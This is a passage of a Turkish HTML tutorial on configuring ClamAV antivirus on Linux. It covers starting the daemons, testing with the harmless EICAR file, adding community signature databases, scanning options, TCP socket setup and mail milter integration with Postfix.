&lt;span class="w"&gt;    &lt;/span&gt;/usr/bin/sudo&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"#&lt;/span&gt;&lt;span class="nv"&gt;$USERID&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;DBUS_SESSION_BUS_ADDRESS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"unix:path=&lt;/span&gt;&lt;span class="nv"&gt;$ADDRESS&lt;/span&gt;&lt;span class="s2"&gt;/bus"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;/usr/bin/notify-send&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;critical&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;dialog-warning&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"V&amp;Idot;R&amp;Uuml;S BULUNDU!"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$ALERT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;4. Beti&amp;gbreve;i &amp;Ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;labilir Yap&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;chmod&lt;span class="w"&gt; &lt;/span&gt;+x&lt;span class="w"&gt; &lt;/span&gt;/etc/clamav/virus-event.bash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Art&amp;inodot;k &lt;code&gt;clamd&lt;/code&gt;'nin OnAccess taramas&amp;inodot; bir &amp;scedil;ey buldu&amp;gbreve;unda masa&amp;uuml;st&amp;uuml;n&amp;uuml;zde kritik bir bildirim g&amp;ouml;receksiniz.&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="adm-7-servisleri-baslatma-motoru-atesleme"&gt;Ad&amp;inodot;m 7: Servisleri Ba&amp;scedil;latma (Motoru Ate&amp;scedil;leme)&lt;a class="headerlink" href="#adm-7-servisleri-baslatma-motoru-atesleme" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Art&amp;inodot;k her &amp;scedil;ey haz&amp;inodot;r. &amp;Ouml;nce veritaban&amp;inodot;n&amp;inodot; g&amp;uuml;ncelledi&amp;gbreve;inizden emin olun (Ad&amp;inodot;m 4).&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;RAM Uyar&amp;inodot;s&amp;inodot; Daemon'u ba&amp;scedil;latmak t&amp;uuml;m vir&amp;uuml;s imzalar&amp;inodot;n&amp;inodot; RAM'e y&amp;uuml;kler. &amp;Scedil;ubat 2024 itibar&amp;inodot;yla bu, &lt;strong&gt;en az 1.6 GB bo&amp;scedil; RAM&lt;/strong&gt; gerektirir. G&amp;uuml;ncelleme an&amp;inodot;nda bu ihtiya&amp;ccedil; anl&amp;inodot;k olarak iki kat&amp;inodot;na &amp;ccedil;&amp;inodot;kabilir. D&amp;uuml;&amp;scedil;&amp;uuml;k RAM'li sistemlerde (&lt;code&gt;clamd&lt;/code&gt; ba&amp;scedil;lamazsa) swap alan&amp;inodot; olu&amp;scedil;turman&amp;inodot;z gerekebilir.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Ana daemon'u ba&amp;scedil;lat&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;clamav-daemon.service
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;clamav-daemon.service

&lt;span class="c1"&gt;# Ger&amp;ccedil;ek zamanl&amp;inodot; koruma daemon'unu ba&amp;scedil;lat&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;clamav-clamonacc.service
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;clamav-clamonacc.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er &lt;code&gt;AppArmor&lt;/code&gt; (Ubuntu/Debian'da yayg&amp;inodot;nd&amp;inodot;r) &lt;code&gt;clamd&lt;/code&gt; hakk&amp;inodot;nda hata verirse, profili &amp;scedil;ikayet moduna al&amp;inodot;n: &lt;code&gt;sudo aa-complain clamd&lt;/code&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="adm-8-test-surusu-eicar"&gt;Ad&amp;inodot;m 8: Test S&amp;uuml;r&amp;uuml;&amp;scedil;&amp;uuml; (EICAR)&lt;a class="headerlink" href="#adm-8-test-surusu-eicar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Sistemimiz &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor mu? &lt;code&gt;EICAR&lt;/code&gt; ad&amp;inodot; verilen zarars&amp;inodot;z bir test dosyas&amp;inodot;yla kontrol edelim.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test 1: Manuel Tarama (Daemon ile)&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;https://secure.eicar.org/eicar.com.txt&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;clamdscan&lt;span class="w"&gt; &lt;/span&gt;-
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;Ccedil;&amp;inodot;kt&amp;inodot;da &lt;code&gt;stdin: Win.Test.EICAR_HDB-1 FOUND&lt;/code&gt; g&amp;ouml;rmelisiniz. &lt;code&gt;clamscan&lt;/code&gt; de&amp;gbreve;il, &lt;code&gt;clamdscan&lt;/code&gt; kulland&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;za dikkat edin.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test 2: Ger&amp;ccedil;ek Zamanl&amp;inodot; Koruma&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;Idot;zledi&amp;gbreve;iniz bir dizine (&amp;ouml;rn: &amp;Idot;ndirilenler) EICAR dosyas&amp;inodot;n&amp;inodot; indirmeyi deneyin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;~/&amp;Idot;ndirilenler/
wget&lt;span class="w"&gt; &lt;/span&gt;https://secure.eicar.org/eicar.com.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dosya iner inmez (veya &lt;code&gt;cat eicar.com.txt&lt;/code&gt; ile okumaya &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zda) Ad&amp;inodot;m 6'da ayarlad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z masa&amp;uuml;st&amp;uuml; bildiriminin patlamas&amp;inodot; gerekir&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="adm-9-daha-fazla-goz-ekstra-veritabanlar"&gt;Ad&amp;inodot;m 9: Daha Fazla G&amp;ouml;z (Ekstra Veritabanlar&amp;inodot;)&lt;a class="headerlink" href="#adm-9-daha-fazla-goz-ekstra-veritabanlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;ClamAV'nin resmi imzalar&amp;inodot; iyidir, ancak topluluk taraf&amp;inodot;ndan y&amp;ouml;netilen ek veritabanlar&amp;inodot;yla (MalwarePatrol, SecuriteInfo, Yara, LMD imzalar&amp;inodot; vb.) g&amp;uuml;c&amp;uuml;ne g&amp;uuml;&amp;ccedil; katabiliriz.&lt;/p&gt;
&lt;p&gt;Bunun i&amp;ccedil;in AUR'dan iki ara&amp;ccedil;tan birini kurabilirsiniz:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;python-fangfrisch&lt;/code&gt; (AUR)&lt;/strong&gt;: &lt;code&gt;clamav-unofficial-sigs&lt;/code&gt;'in yerine ge&amp;ccedil;en, daha g&amp;uuml;venli, esnek ve modern bir ara&amp;ccedil; olarak tasarlanm&amp;inodot;&amp;scedil;t&amp;inodot;r. &lt;strong&gt;Tavsiye edilen budur.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;clamav-unofficial-sigs&lt;/code&gt; (AUR)&lt;/strong&gt;: Eski ve yayg&amp;inodot;n olan ara&amp;ccedil;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="secenek-1-fangfrisch-kurulumu-tavsiye-edilen"&gt;Se&amp;ccedil;enek 1: Fangfrisch Kurulumu (Tavsiye edilen)&lt;a class="headerlink" href="#secenek-1-fangfrisch-kurulumu-tavsiye-edilen" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;yay -S python-fangfrisch&lt;/code&gt; (veya kulland&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z AUR yard&amp;inodot;mc&amp;inodot;s&amp;inodot;) ile kurun.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Yap&amp;inodot;land&amp;inodot;rmas&amp;inodot; &amp;ccedil;ok basittir (/etc/fangfrisch/fangfrisch.conf)&lt;/span&gt;
&lt;span class="c1"&gt;# Asla root izni gerektirmemesi en b&amp;uuml;y&amp;uuml;k avantaj&amp;inodot;d&amp;inodot;r.&lt;/span&gt;

&lt;span class="c1"&gt;# Veritaban&amp;inodot; yap&amp;inodot;s&amp;inodot;n&amp;inodot; 'clamav' kullan&amp;inodot;c&amp;inodot;s&amp;inodot; olarak ba&amp;scedil;lat&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;clamav&lt;span class="w"&gt; &lt;/span&gt;/usr/bin/fangfrisch&lt;span class="w"&gt; &lt;/span&gt;--conf&lt;span class="w"&gt; &lt;/span&gt;/etc/fangfrisch/fangfrisch.conf&lt;span class="w"&gt; &lt;/span&gt;initdb

&lt;span class="c1"&gt;# Zamanlay&amp;inodot;c&amp;inodot;y&amp;inodot; etkinle&amp;scedil;tir&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;fangfrisch.timer
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id="secenek-2-clamav-unofficial-sigs-kurulumu-alternatif"&gt;Se&amp;ccedil;enek 2: clamav-unofficial-sigs Kurulumu (Alternatif)&lt;a class="headerlink" href="#secenek-2-clamav-unofficial-sigs-kurulumu-alternatif" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;yay -S clamav-unofficial-sigs&lt;/code&gt; ile kurun.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Zamanlay&amp;inodot;c&amp;inodot;y&amp;inodot; etkinle&amp;scedil;tir&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;clamav-unofficial-sigs.timer

&lt;span class="c1"&gt;# Manuel &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak i&amp;ccedil;in&lt;/span&gt;
&lt;span class="c1"&gt;# sudo clamav-unofficial-sigs.sh&lt;/span&gt;

&lt;span class="c1"&gt;# Ayar dosyas&amp;inodot;: /etc/clamav-unofficial-sigs/user.conf&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;MalwarePatrol Veritaban&amp;inodot;n&amp;inodot; Eklemek (&amp;Idot;ste&amp;gbreve;e ba&amp;gbreve;l&amp;inodot;):&lt;/strong&gt;
E&amp;gbreve;er MalwarePatrol kullanmak isterseniz (&amp;uuml;cretli/&amp;uuml;cretsiz planlar&amp;inodot; var), &lt;a href="https://malwareblocklist.org/" rel="noopener noreferrer" target="_blank"&gt;Malware Block List&lt;/a&gt; adresinden kaydolun. Sonra (&lt;code&gt;clamav-unofficial-sigs&lt;/code&gt; kullan&amp;inodot;yorsan&amp;inodot;z) &lt;code&gt;/etc/clamav-unofficial-sigs/user.conf&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; d&amp;uuml;zenleyin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;malwarepatrol_receipt_code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"BURAYA_FATURA_NUMARANIZ"&lt;/span&gt;
&lt;span class="na"&gt;malwarepatrol_product_code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"8"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# &amp;Uuml;cretsiz hesap i&amp;ccedil;in 8, Premium i&amp;ccedil;in 15&lt;/span&gt;
&lt;span class="na"&gt;malwarepatrol_list&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"clamav_basic"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# basic veya ext&lt;/span&gt;
&lt;span class="na"&gt;malwarepatrol_free&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"yes"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# &amp;Uuml;cretsizse yes, Premium ise no&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="adm-10-manuel-tarama-secenekleri"&gt;Ad&amp;inodot;m 10: Manuel Tarama Se&amp;ccedil;enekleri&lt;a class="headerlink" href="#adm-10-manuel-tarama-secenekleri" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Daemon &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;rken bile manuel tarama yapmak isteyebilirsiniz.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;clamscan&lt;/code&gt; (Standart/Eski Y&amp;ouml;ntem):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bu, daemon'u &lt;strong&gt;kullanmaz&lt;/strong&gt;. Her seferinde t&amp;uuml;m veritaban&amp;inodot;n&amp;inodot; RAM'e yeniden y&amp;uuml;kler.&lt;/li&gt;
&lt;li&gt;Yava&amp;scedil;t&amp;inodot;r. Sadece &lt;code&gt;clamd&lt;/code&gt; &amp;ccedil;al&amp;inodot;&amp;scedil;m&amp;inodot;yorsa kullan&amp;inodot;n.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;clamscan --recursive --infected /home/kullanici&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--remove&lt;/code&gt;: Bulunan dosyay&amp;inodot; siler (Tehlikeli).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--move=/guvenli/dizin&lt;/code&gt;: Karantinaya ta&amp;scedil;&amp;inodot;r (Daha g&amp;uuml;venli).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--max-filesize=4000M --max-scansize=4000M&lt;/code&gt;: Varsay&amp;inodot;landan b&amp;uuml;y&amp;uuml;k dosyalar&amp;inodot; tarar.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-l /path/to/logfile.log&lt;/code&gt;: Sonu&amp;ccedil;lar&amp;inodot; dosyaya yazar.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;clamdscan&lt;/code&gt; (Daemon/H&amp;inodot;zl&amp;inodot; Y&amp;ouml;ntem):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bu, arka planda &amp;ccedil;al&amp;inodot;&amp;scedil;an &lt;code&gt;clamd&lt;/code&gt;'ye i&amp;scedil;i paslar. &lt;strong&gt;S&amp;uuml;per h&amp;inodot;zl&amp;inodot;d&amp;inodot;r.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&amp;Ccedil;o&amp;gbreve;u ayar&amp;inodot; (&lt;code&gt;--max-filesize&lt;/code&gt; vb.) &lt;code&gt;clamd.conf&lt;/code&gt;'tan okur.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;clamdscan /home/kullanici&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr/&gt;
&lt;h3 id="adm-11-ipuclar-ve-hileler-pro-seviye"&gt;Ad&amp;inodot;m 11: &amp;Idot;pu&amp;ccedil;lar&amp;inodot; ve Hileler (Pro Seviye)&lt;a class="headerlink" href="#adm-11-ipuclar-ve-hileler-pro-seviye" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;h4 id="coklu-cekirdek-kullanm"&gt;&amp;Ccedil;oklu &amp;Ccedil;ekirdek Kullan&amp;inodot;m&amp;inodot;&lt;a class="headerlink" href="#coklu-cekirdek-kullanm" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;clamscan&lt;/code&gt; ile (K&amp;Ouml;T&amp;Uuml; Y&amp;Ouml;NTEM):&lt;/strong&gt;
&lt;code&gt;clamscan&lt;/code&gt; tek &amp;ccedil;ekirdekte &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r. &lt;code&gt;xargs&lt;/code&gt; ile paralelle&amp;scedil;tirebilirsiniz:
    &lt;code&gt;find /home/kullanici -type f -print0 | xargs -0 -P $(nproc) clamscan&lt;/code&gt;
&lt;strong&gt;YAPMAYIN:&lt;/strong&gt; Bu, i&amp;scedil;lemci say&amp;inodot;s&amp;inodot; kadar &lt;code&gt;clamscan&lt;/code&gt; i&amp;scedil;lemi ba&amp;scedil;lat&amp;inodot;r ve her biri veritaban&amp;inodot;n&amp;inodot; RAM'e y&amp;uuml;kler. 16 &amp;ccedil;ekirde&amp;gbreve;iniz varsa 1.6GB * 16 = \~25GB RAM'e ihtiya&amp;ccedil; duyar. Sisteminizi kilitler.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;clamdscan&lt;/code&gt; ile (DO&amp;Gbreve;RU Y&amp;Ouml;NTEM):&lt;/strong&gt;
&lt;code&gt;clamd&lt;/code&gt; zaten &amp;ccedil;oklu &amp;ccedil;ekirdek i&amp;ccedil;in tasarlanm&amp;inodot;&amp;scedil;t&amp;inodot;r.
    &lt;code&gt;clamdscan --multiscan --fdpass /home/kullanici&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--multiscan&lt;/code&gt;: &lt;code&gt;clamd.conf&lt;/code&gt;'taki &lt;code&gt;MaxThreads&lt;/code&gt; (varsay&amp;inodot;lan 10) ayar&amp;inodot; kadar i&amp;scedil; par&amp;ccedil;ac&amp;inodot;&amp;gbreve;&amp;inodot; kullanarak dizini paralel tarar.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--fdpass&lt;/code&gt;: &lt;code&gt;clamd&lt;/code&gt;'nin (clamav kullan&amp;inodot;c&amp;inodot;s&amp;inodot;) sizin dosyalar&amp;inodot;n&amp;inodot;z&amp;inodot; (kullanici) okuyabilmesi i&amp;ccedil;in izinleri (file descriptor) devreder.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="tcpsocketi-duzgun-etkinlestirme"&gt;TCPSocket'i D&amp;uuml;zg&amp;uuml;n Etkinle&amp;scedil;tirme&lt;a class="headerlink" href="#tcpsocketi-duzgun-etkinlestirme" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Ad&amp;inodot;m 1'deki uyar&amp;inodot;y&amp;inodot; hat&amp;inodot;rlad&amp;inodot;n&amp;inodot;z m&amp;inodot;? E&amp;gbreve;er TCPSocket'i (&amp;ouml;rn: &lt;code&gt;127.0.0.1:3310&lt;/code&gt;) &lt;code&gt;clamd.conf&lt;/code&gt;'ta a&amp;ccedil;arsan&amp;inodot;z, &lt;code&gt;systemd&lt;/code&gt;'nin soket dosyas&amp;inodot;n&amp;inodot; da d&amp;uuml;zenlemeniz gerekir, yoksa &amp;ccedil;ak&amp;inodot;&amp;scedil;&amp;inodot;rlar:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo systemctl edit clamav-daemon.socket&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;A&amp;ccedil;&amp;inodot;lan dosyaya &amp;scedil;unu ekleyin (hem yerel hem TCP soketini dinlemek i&amp;ccedil;in):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[Socket]&lt;/span&gt;
&lt;span class="na"&gt;ListenStream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="na"&gt;ListenStream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/run/clamav/clamd.ctl&lt;/span&gt;
&lt;span class="na"&gt;ListenStream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;127.0.0.1:3310&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Sonra &lt;code&gt;sudo systemctl restart clamav-daemon.socket&lt;/code&gt; yap&amp;inodot;n. &lt;code&gt;ss -tulpn | grep clamd&lt;/code&gt; komutuyla portun dinlendi&amp;gbreve;ini g&amp;ouml;rebilirsiniz.&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="adm-12-e-posta-korumas-milter"&gt;Ad&amp;inodot;m 12: E-Posta Korumas&amp;inodot; (Milter)&lt;a class="headerlink" href="#adm-12-e-posta-korumas-milter" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;E&amp;gbreve;er sisteminizde &lt;code&gt;Sendmail&lt;/code&gt; veya &lt;code&gt;Postfix&lt;/code&gt; gibi bir e-posta sunucusu &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yorsa, ClamAV'yi gelen e-postalar&amp;inodot; taramas&amp;inodot; i&amp;ccedil;in bir "milter" (mail filter) olarak ba&amp;gbreve;layabilirsiniz.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. &lt;code&gt;clamav-milter.conf&lt;/code&gt; Ayarlar&amp;inodot;&lt;/strong&gt;
&lt;code&gt;/etc/clamav/clamav-milter.conf&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; d&amp;uuml;zenleyin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;MilterSocket /tmp/clamav-milter.socket&lt;/span&gt;
&lt;span class="na"&gt;MilterSocketMode 660&lt;/span&gt;
&lt;span class="na"&gt;FixStaleSocket yes&lt;/span&gt;
&lt;span class="na"&gt;User clamav&lt;/span&gt;
&lt;span class="na"&gt;MilterSocketGroup clamav&lt;/span&gt;
&lt;span class="na"&gt;PidFile /run/clamav/clamav-milter.pid&lt;/span&gt;
&lt;span class="na"&gt;TemporaryDirectory /tmp&lt;/span&gt;
&lt;span class="na"&gt;ClamdSocket unix&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s"&gt;/run/clamav/clamd.ctl&lt;/span&gt;
&lt;span class="na"&gt;LogSyslog yes&lt;/span&gt;
&lt;span class="na"&gt;LogInfected Basic&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;2. systemd Servisi Olu&amp;scedil;turma&lt;/strong&gt;
&lt;code&gt;sudo nano /etc/systemd/system/clamav-milter.service&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[Unit]&lt;/span&gt;
&lt;span class="na"&gt;Description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;'ClamAV Milter'&lt;/span&gt;
&lt;span class="na"&gt;After&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;clamav-daemon.service&lt;/span&gt;

&lt;span class="k"&gt;[Service]&lt;/span&gt;
&lt;span class="na"&gt;Type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;forking&lt;/span&gt;
&lt;span class="na"&gt;ExecStart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/usr/bin/clamav-milter --config-file /etc/clamav/clamav-milter.conf&lt;/span&gt;
&lt;span class="na"&gt;Restart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;Always&lt;/span&gt;

&lt;span class="k"&gt;[Install]&lt;/span&gt;
&lt;span class="na"&gt;WantedBy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;multi-user.target&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;3. Postfix Ayar&amp;inodot; (&amp;Ouml;rnek)&lt;/strong&gt;
E&amp;gbreve;er Postfix kullan&amp;inodot;yorsan&amp;inodot;z, &lt;code&gt;/etc/postfix/main.cf&lt;/code&gt; i&amp;ccedil;ine ekleyin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;smtpd_milters&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;unix:/tmp/clamav-milter.socket&lt;/span&gt;
&lt;span class="na"&gt;milter_default_action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;tempfail&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;4. Ba&amp;scedil;latma&lt;/strong&gt;
&lt;code&gt;sudo systemctl enable --now clamav-milter.service&lt;/code&gt;
&lt;code&gt;journalctl&lt;/code&gt; ile loglar&amp;inodot; kontrol edin. Postfix'in sokete eri&amp;scedil;im izni yoksa, &lt;code&gt;postfix&lt;/code&gt; kullan&amp;inodot;c&amp;inodot;s&amp;inodot;n&amp;inodot; &lt;code&gt;clamav&lt;/code&gt; grubuna ekleyin: &lt;code&gt;sudo gpasswd -a postfix clamav&lt;/code&gt;.&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="adm-13-sorun-giderme-bas-agrlar"&gt;Ad&amp;inodot;m 13: Sorun Giderme (Ba&amp;scedil; A&amp;gbreve;r&amp;inodot;lar&amp;inodot;)&lt;a class="headerlink" href="#adm-13-sorun-giderme-bas-agrlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hata: &lt;code&gt;Clamd was NOT notified&lt;/code&gt; (freshclam sonras&amp;inodot;)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
